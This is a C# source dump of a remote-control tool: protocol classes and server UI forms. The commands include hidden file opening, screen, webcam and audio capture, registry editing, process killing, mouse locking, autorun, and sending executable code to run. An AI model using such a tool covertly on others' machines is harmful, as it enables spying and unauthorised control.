/RemoteControl.Protocals/Request/RequestGetSubFilesOrDirs.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestGetSubFilesOrDirs
9 | {
10 | public string parentDir;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestKillProcesses.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestKillProcesses
9 | {
10 | public List ProcessIds = new List();
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestLockMouse.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestLockMouse
9 | {
10 | public int LockSeconds = 3;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestMessageBox.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestMessageBox
9 | {
10 | public string Title;
11 | public string Content;
12 | public int MessageBoxButtons;
13 | public int MessageBoxIcons;
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestMouseEvent.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Drawing;
6 |
7 | namespace RemoteControl.Protocals
8 | {
9 | public class RequestMouseEvent
10 | {
11 | public eMouseButtons MouseButton;
12 | public eMouseOperations MouseOperation;
13 | public Point MouseLocation;
14 | }
15 |
16 | public enum eMouseButtons
17 | {
18 | Left = 0x100000,
19 | Middle = 0x400000,
20 | None = 0,
21 | Right = 0x200000,
22 | XButton1 = 0x800000,
23 | XButton2 = 0x1000000
24 | }
25 |
26 | public enum eMouseOperations
27 | {
28 | MouseDown,
29 | MouseUp,
30 | MousePress,
31 | MouseDoubleClick,
32 | MouseMove
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestMoveFile.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestMoveFile
9 | {
10 | public string SourceFile;
11 | public string DestinationFile;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestOpeRegistryValueName.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | ///
9 | /// 操作注册表value名称呢过请求
10 | ///
11 | public class RequestOpeRegistryValueName
12 | {
13 | public OpeType Operation;
14 | public eRegistryHive KeyRoot;
15 | public string KeyPath;
16 | public string ValueName;
17 | public object Value;
18 | public eRegistryValueKind ValueKind = eRegistryValueKind.REG_SZ;
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestOpenFile.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | ///
9 | /// 打开文件请求
10 | /// 以默认方式打开文件
11 | ///
12 | public class RequestOpenFile
13 | {
14 | ///
15 | /// 文件路径
16 | ///
17 | public string FilePath;
18 | ///
19 | /// 是否隐藏
20 | ///
21 | public bool IsHide;
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestOpenUrl.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestOpenUrl
9 | {
10 | public string Url;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestPlayMusic.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestPlayMusic
9 | {
10 | public string MusicFilePath;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestRenameFile.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestRenameFile
9 | {
10 | public string SourceFile;
11 | public string DestinationFileName;
12 | public string GetDestinationFileName()
13 | {
14 | return System.IO.Path.GetFileName(this.DestinationFileName);
15 | }
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestRunExecCode.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals.Request
7 | {
8 | public class RequestRunExecCode
9 | {
10 | public string ID;
11 | public eExecMode Mode = eExecMode.ExecByPlugin;
12 | public string FileArguments;
13 | public bool IsKillMySelf;
14 | }
15 |
16 | public enum eExecMode
17 | {
18 | ExecByPlugin,
19 | ExecByFile
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestStartCaptureAudio.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestStartCaptureAudio
9 | {
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestStartCaptureVideo.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestStartCaptureVideo
9 | {
10 | public int Fps = 1;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestStartDownload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestStartDownload
9 | {
10 | public ePathType PathType { get; private set; }
11 | public string Path;
12 | public string SavePath;
13 |
14 | public RequestStartDownload()
15 | {
16 | this.PathType = ePathType.File;
17 | }
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestStartGetScreen.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestStartGetScreen
9 | {
10 | public int fps = 1;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestStartUpload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestStartUploadHeader
9 | {
10 | public ePathType PathType { get; private set; }
11 | public string From;
12 | public string To;
13 | public string Id;
14 |
15 | public RequestStartUploadHeader()
16 | {
17 | this.PathType = ePathType.File;
18 | }
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestStopGetScreen.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestStopGetScreen
9 | {
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestTransportExecCode.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestTransportExecCode
9 | {
10 | public string ID;
11 | public byte[] Data;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestViewRegistryKey.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | ///
9 | /// 查看注册表key请求
10 | ///
11 | public class RequestViewRegistryKey
12 | {
13 | public eRegistryHive KeyRoot;
14 | public string KeyPath;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/ePathType.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public enum ePathType
9 | {
10 | File=0,
11 | Directory
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseAutoRun.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals.Response
7 | {
8 | public class ResponseAutoRun : ResponseBase
9 | {
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseBase.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Drawing;
6 | using System.IO;
7 | using System.Drawing.Imaging;
8 |
9 | namespace RemoteControl.Protocals
10 | {
11 | public class ResponseBase
12 | {
13 | public bool Result = true;
14 | public string Message = "成功";
15 | public string Detail = "";
16 |
17 | protected Image ByteArray2Image(byte[] data)
18 | {
19 | using (MemoryStream ms = new MemoryStream())
20 | {
21 | ms.Write(data, 0, data.Length);
22 |
23 | return Image.FromStream(ms);
24 | }
25 | }
26 |
27 | protected byte[] Image2ByteArray(Image image, ImageFormat imageFormat)
28 | {
29 | using (var ms = new MemoryStream())
30 | {
31 | image.Save(ms, imageFormat);
32 | return ms.GetBuffer();
33 | }
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseCommand.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class ResponseCommand : ResponseBase
9 | {
10 | public string CommandResponse;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseCopyFile.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class ResponseCopyFile:ResponseBase
9 | {
10 | public string SourceFile;
11 | public string DestinationFile;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseCreateFileOrDir.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class ResponseCreateFileOrDir : ResponseBase
9 | {
10 | public ePathType PathType;
11 | public string Path;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseDeleteFileOrDir.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class ResponseDeleteFileOrDir : ResponseBase
9 | {
10 | public ePathType PathType;
11 | public string Path;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseGetDrives.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class ResponseGetDrives : ResponseBase
9 | {
10 | public List drives;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseGetHostName.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals.Response
7 | {
8 | ///
9 | /// 获取计算机名称
10 | ///
11 | public class ResponseGetHostName:ResponseBase
12 | {
13 | public string HostName;
14 | public string AppPath;
15 | public string OnlineAvatar;
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseGetProcesses.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class ResponseGetProcesses : ResponseBase
9 | {
10 | public List Processes = new List();
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseGetSubFilesOrDirs.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class ResponseGetSubFilesOrDirs:ResponseBase
9 | {
10 | public List dirs;
11 | public List files;
12 | }
13 |
14 | public class DirectoryProperty
15 | {
16 | public string DirPath;
17 | public DateTime CreationTime;
18 | public DateTime LastWriteTime;
19 | public DateTime LastAccessTime;
20 | }
21 |
22 | public class FileProperty
23 | {
24 | public string FilePath;
25 | public long Size;
26 | public DateTime CreationTime;
27 | public DateTime LastWriteTime;
28 | public DateTime LastAccessTime;
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseMoveFile.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class ResponseMoveFile:ResponseBase
9 | {
10 | public string SourceFile;
11 | public string DestinationFile;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseOpeRegistryValueName.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | ///
9 | /// 操作注册表value名称响应
10 | ///
11 | public class ResponseOpeRegistryValueName : ResponseBase
12 | {
13 | public OpeType Operation;
14 | public eRegistryHive KeyRoot;
15 | public string KeyPath;
16 | public string ValueName;
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseStartCaptureAudio.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Drawing;
6 | using System.Drawing.Imaging;
7 |
8 | namespace RemoteControl.Protocals
9 | {
10 | public class ResponseStartCaptureAudio : ResponseBase
11 | {
12 | public byte[] AudioData;
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseStartCaptureVideo.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Drawing;
6 | using System.IO;
7 | using System.Drawing.Imaging;
8 |
9 | namespace RemoteControl.Protocals
10 | {
11 | public class ResponseStartCaptureVideo : ResponseBase
12 | {
13 | public byte[] ImageData;
14 | public DateTime CollectTime;
15 |
16 | public Image GetImage()
17 | {
18 | return ByteArray2Image(this.ImageData);
19 | }
20 |
21 | public void SetImage(Image image, ImageFormat imageFormat)
22 | {
23 | this.ImageData = Image2ByteArray(image, imageFormat);
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseStartDownload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals.Response
7 | {
8 | public class ResponseStartDownload : ResponseBase
9 | {
10 | public byte[] Data;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseStartDownloadHeader.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class ResponseStartDownloadHeader
9 | {
10 | public string Path;
11 | public string SavePath;
12 | public long FileSize;
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseStartGetScreen.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Drawing;
6 | using System.Drawing.Imaging;
7 |
8 | namespace RemoteControl.Protocals
9 | {
10 | public class ResponseStartGetScreen : ResponseBase
11 | {
12 | public byte[] ImageData;
13 |
14 | public Image GetImage()
15 | {
16 | return ByteArray2Image(this.ImageData);
17 | }
18 |
19 | public void SetImage(Image image, ImageFormat imageFormat)
20 | {
21 | this.ImageData = Image2ByteArray(image, imageFormat);
22 | }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseStartUpload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class ResponseStartUpload
9 | {
10 | public string Id;
11 | public byte[] Data;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseStopUpload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestStopUpload
9 | {
10 | public string Id;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Response/ResponseViewRegistryKey.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | ///
9 | /// 查看注册表key响应
10 | ///
11 | public class ResponseViewRegistryKey : ResponseBase
12 | {
13 | public eRegistryHive KeyRoot;
14 | public string KeyPath;
15 | public string[] KeyNames;
16 | public string[] ValueNames;
17 | public eRegistryValueKind[] ValueKinds;
18 | public object[] Values;
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Utilities/ResUtil.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.IO;
6 |
7 | namespace RemoteControl.Protocals.Utilities
8 | {
9 | ///
10 | /// 资源工具类
11 | ///
12 | public class ResUtil
13 | {
14 | public static byte[] GetResFileData(string resFileName)
15 | {
16 | string[] resNames = System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceNames();
17 | string blackScreenResName = resNames.ToList().Find(m => m.Contains(resFileName));
18 | Stream stream = System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceStream(blackScreenResName);
19 | byte[] data = new byte[stream.Length];
20 | stream.Read(data, 0, data.Length);
21 | stream.Close();
22 |
23 | return data;
24 | }
25 |
26 | public static string WriteToRandomFile(byte[] data, string fileName)
27 | {
28 | var fileDir = Environment.GetEnvironmentVariable("temp") + "\\" + Guid.NewGuid().ToString();
29 | if (!System.IO.Directory.Exists(fileDir))
30 | {
31 | System.IO.Directory.CreateDirectory(fileDir);
32 | }
33 | var filePath = fileDir + "\\" + fileName;
34 | System.IO.File.WriteAllBytes(filePath, data);
35 |
36 | return filePath;
37 | }
38 |
39 | public static string WriteToRandomFile(byte[] data)
40 | {
41 | string randomFileName = System.IO.Path.GetRandomFileName();
42 | return WriteToRandomFile(data, randomFileName);
43 | }
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/bin/Debug/Newtonsoft.Json.Lite.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Protocals/bin/Debug/Newtonsoft.Json.Lite.dll
--------------------------------------------------------------------------------
/RemoteControl.Protocals/bin/Debug/RemoteControl.Protocals.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Protocals/bin/Debug/RemoteControl.Protocals.dll
--------------------------------------------------------------------------------
/RemoteControl.Protocals/bin/x86/Debug/Newtonsoft.Json.Lite.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Protocals/bin/x86/Debug/Newtonsoft.Json.Lite.dll
--------------------------------------------------------------------------------
/RemoteControl.Protocals/bin/x86/Debug/RemoteControl.Protocals.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Protocals/bin/x86/Debug/RemoteControl.Protocals.dll
--------------------------------------------------------------------------------
/RemoteControl.Server/ClientConnectedEventArgs.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Net;
6 | using System.Net.Sockets;
7 | using RemoteControl.Protocals;
8 |
9 | namespace RemoteControl.Server
10 | {
11 | class ClientConnectedEventArgs : EventArgs
12 | {
13 | public ClientConnectedEventArgs(SocketSession client)
14 | {
15 | this.Client = client;
16 | }
17 |
18 | public SocketSession Client { get; private set; }
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/RemoteControl.Server/FrmAbout.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Drawing;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Windows.Forms;
8 |
9 | namespace RemoteControl.Server
10 | {
11 | public partial class FrmAbout : FrmBase
12 | {
13 | public FrmAbout()
14 | {
15 | InitializeComponent();
16 | base.EnableCancelButton = true;
17 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
18 | this.StartPosition = FormStartPosition.CenterScreen;
19 | this.label2.Text = "版本:" + Application.ProductVersion;
20 | }
21 |
22 | private void FrmAbout_Load(object sender, EventArgs e)
23 | {
24 | for (int i = 0; i < this.Controls.Count; i++)
25 | {
26 | this.Controls[i].Click += (o, args) =>
27 | {
28 | base.Quit();
29 | };
30 | }
31 | this.Click += (o, args) =>
32 | {
33 | base.Quit();
34 | };
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/RemoteControl.Server/FrmBase.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace RemoteControl.Server
2 | {
3 | partial class FrmBase
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmBase));
32 | this.SuspendLayout();
33 | //
34 | // FrmBase
35 | //
36 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
37 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
38 | this.ClientSize = new System.Drawing.Size(284, 262);
39 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
40 | this.Name = "FrmBase";
41 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
42 | this.Text = "FrmBase";
43 | this.Load += new System.EventHandler(this.FrmBase_Load);
44 | this.ResumeLayout(false);
45 |
46 | }
47 |
48 | #endregion
49 | }
50 | }
--------------------------------------------------------------------------------
/RemoteControl.Server/FrmBase.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Drawing;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Windows.Forms;
8 |
9 | namespace RemoteControl.Server
10 | {
11 | public partial class FrmBase : Form
12 | {
13 | private bool enableCancelButton;
14 |
15 | public bool EnableCancelButton
16 | {
17 | get { return enableCancelButton; }
18 | set { enableCancelButton = value; }
19 | }
20 |
21 | public FrmBase()
22 | {
23 | InitializeComponent();
24 | }
25 |
26 | private void FrmBase_Load(object sender, EventArgs e)
27 | {
28 | if (this.enableCancelButton)
29 | {
30 | Button btn = new Button();
31 | btn.Click += (o, args) =>
32 | {
33 | Quit();
34 | };
35 | this.CancelButton = btn;
36 | }
37 | }
38 |
39 | protected void Quit()
40 | {
41 | if (this.Modal)
42 | {
43 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel;
44 | }
45 | else
46 | {
47 | this.Close();
48 | }
49 | }
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/RemoteControl.Server/FrmDownload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Drawing;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Windows.Forms;
8 | using RemoteControl.Protocals;
9 |
10 | namespace RemoteControl.Server
11 | {
12 | public partial class FrmDownload : FrmBase
13 | {
14 | private long _fileSize;
15 | private Action _cancelAction;
16 | public FrmDownload(Action cancelAction, string sourceFile, string destFile, long fileSize):this(cancelAction, sourceFile,destFile,fileSize, true)
17 | {
18 | }
19 | public FrmDownload(Action cancelAction, string sourceFile, string destFile, long fileSize, bool isDownloadMode)
20 | {
21 | InitializeComponent();
22 |
23 | this._cancelAction = cancelAction;
24 | this.label2.Text = String.Format("正在{2}文件 {0} 到 {1} 目录中...",
25 | System.IO.Path.GetFileName(sourceFile),
26 | System.IO.Path.GetDirectoryName(destFile),
27 | isDownloadMode?"下载":"上传");
28 | this._fileSize = fileSize;
29 | this.label1.Text = string.Format("{0}/{1}", 0, this._fileSize);
30 | this.Text = isDownloadMode?"下载文件":"上传文件";
31 | }
32 |
33 | public void UpdateProgress(long recvedBytes)
34 | {
35 | if (this.InvokeRequired)
36 | {
37 | this.Invoke(new Action(UpdateProgress), recvedBytes);
38 | return;
39 | }
40 | this.label1.Text = string.Format("{0}/{1}", recvedBytes, this._fileSize);
41 | this.progressBar1.Maximum = 100;
42 | this.progressBar1.Value = (int)(recvedBytes * 1.0 / this._fileSize * 100);
43 | }
44 |
45 | private void button1_Click(object sender, EventArgs e)
46 | {
47 | if (_cancelAction != null)
48 | {
49 | _cancelAction();
50 | }
51 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel;
52 | }
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/RemoteControl.Server/FrmDownloadWebFile.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Drawing;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Windows.Forms;
8 |
9 | namespace RemoteControl.Server
10 | {
11 | public partial class FrmDownloadWebFile : FrmOkCancelBase
12 | {
13 | public string WebUrl;
14 | public string DestFilePath;
15 |
16 | public FrmDownloadWebFile()
17 | {
18 | InitializeComponent();
19 | }
20 |
21 | private void buttonOk_Click(object sender, EventArgs e)
22 | {
23 | this.WebUrl = this.textBox1.Text;
24 | this.DestFilePath = this.textBox2.Text;
25 | this.Close();
26 | }
27 |
28 | private void buttonCancel_Click(object sender, EventArgs e)
29 | {
30 | this.WebUrl = null;
31 | this.DestFilePath = null;
32 | this.Close();
33 | }
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/RemoteControl.Server/FrmInputFileOrDir.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Drawing;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Windows.Forms;
8 |
9 | namespace RemoteControl.Server
10 | {
11 | public partial class FrmInputFileOrDir : FrmBase
12 | {
13 | public string InputText;
14 |
15 | public FrmInputFileOrDir()
16 | {
17 | InitializeComponent();
18 | }
19 |
20 | private void button1_Click(object sender, EventArgs e)
21 | {
22 | this.InputText = this.textBox1.Text.Trim();
23 | this.DialogResult = System.Windows.Forms.DialogResult.OK;
24 | }
25 |
26 | private void button2_Click(object sender, EventArgs e)
27 | {
28 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel;
29 | }
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/RemoteControl.Server/FrmInputUrl.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Drawing;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Windows.Forms;
8 |
9 | namespace RemoteControl.Server
10 | {
11 | public partial class FrmInputUrl : FrmBase
12 | {
13 | public string InputText;
14 |
15 | public FrmInputUrl()
16 | {
17 | InitializeComponent();
18 | }
19 |
20 | private void buttonOk_Click(object sender, EventArgs e)
21 | {
22 | this.InputText = this.textBox1.Text;
23 | this.Close();
24 | }
25 |
26 | private void buttonCancel_Click(object sender, EventArgs e)
27 | {
28 | this.InputText = null;
29 | this.Close();
30 | }
